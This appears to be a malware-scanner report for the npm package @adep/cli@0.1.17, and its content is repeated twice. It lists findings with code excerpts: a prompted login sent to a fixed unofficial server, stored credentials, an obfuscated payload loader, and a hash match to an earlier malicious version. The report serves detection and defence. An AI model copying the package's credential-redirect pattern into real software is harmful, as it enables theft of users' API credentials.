@adep/cli@0.1.17: Suspicious npm security report (Warn) | LPM Firewall

Loading npm security reports…

@adep/cli@0.1.17: Suspicious npm security report (Warn) | LPM Firewall

Source & flagged code

6 flagged · loading source

dist/index.jsView file

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/index.js: await handle.writeFile(JSON.stringify(credentials, null, 2)); import { createInterface } from "node:readline/promises"; const base = `${config.baseUrl}/api/v1/projects/${encodeURIComponent(projectId)}/files/${encodeURIComponent(path)}`; import { mkdir as mkdir5, readFile as readFile4, readdir as readdir3, rm as rm2, stat as stat5, unlink, writeFile as writeFile4 } from "node:fs/promises"; await writeFile4(metaPath(projectId, path), JSON.stringify(payload), "utf8"); await writeFile4(dest, data); baseUrl: options.baseUrl ?? "http://127.0.0.1:8787" import { mkdir as mkdir6, readFile as readFile5, writeFile as writeFile5 } f

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

dist/index.jsView on unpkg

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L171: headers: { "content-type": "application/json" }, L172: body: JSON.stringify({ email: input.email, password: input.password }) L173: });

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/index.jsView on unpkg · L12

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L171: headers: { "content-type": "application/json" }, L172: body: JSON.stringify({ email: input.email, password: input.password }) L173: });

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L12

42if (mode !== 384) { L43: const { chmod } = await import("node:fs/promises"); L44: await chmod(file, 384);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L42

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L171: headers: { "content-type": "application/json" }, L172: body: JSON.stringify({ email: input.email, password: input.password }) L173: });

Medium

Unsafe Vm Context

Package source executes code through a VM context API.

dist/index.jsView on unpkg · L12

dist/worker-entry.jsView file

•matchType = normalized_sha256 matchedPackage = @adep/cli@0.1.12 matchedPath = dist/worker-entry.js matchedIdentity = npm:QGFkZXAvY2xp:0.1.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/worker-entry.jsView on unpkg

Source & flagged code

6 flagged

dist/index.jsView file

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/index.js: await handle.writeFile(JSON.stringify(credentials, null, 2)); import { createInterface } from "node:readline/promises"; const base = `${config.baseUrl}/api/v1/projects/${encodeURIComponent(projectId)}/files/${encodeURIComponent(path)}`; import { mkdir as mkdir5, readFile as readFile4, readdir as readdir3, rm as rm2, stat as stat5, unlink, writeFile as writeFile4 } from "node:fs/promises"; await writeFile4(metaPath(projectId, path), JSON.stringify(payload), "utf8"); await writeFile4(dest, data); baseUrl: options.baseUrl ?? "http://127.0.0.1:8787" import { mkdir as mkdir6, readFile as readFile5, writeFile as writeFile5 } f

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

dist/index.jsView on unpkg

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L171: headers: { "content-type": "application/json" }, L172: body: JSON.stringify({ email: input.email, password: input.password }) L173: });

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/index.jsView on unpkg · L12

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L171: headers: { "content-type": "application/json" }, L172: body: JSON.stringify({ email: input.email, password: input.password }) L173: });

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L12

42if (mode !== 384) { L43: const { chmod } = await import("node:fs/promises"); L44: await chmod(file, 384);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L42

12// packages/cli/src/config.ts L13: function resolvePaths(env = process.env) { L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`; ... L17: function resolveServer(env = process.env) { L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, ""); L19: } ... L49: const raw = await readFile(paths.credentialsFile, "utf8"); L50: const parsed = JSON.parse(raw); L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") { ... L171: headers: { "content-type": "application/json" }, L172: body: JSON.stringify({ email: input.email, password: input.password }) L173: });

Medium

Unsafe Vm Context

Package source executes code through a VM context API.

dist/index.jsView on unpkg · L12

dist/worker-entry.jsView file

•matchType = normalized_sha256 matchedPackage = @adep/cli@0.1.12 matchedPath = dist/worker-entry.js matchedIdentity = npm:QGFkZXAvY2xp:0.1.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/worker-entry.jsView on unpkg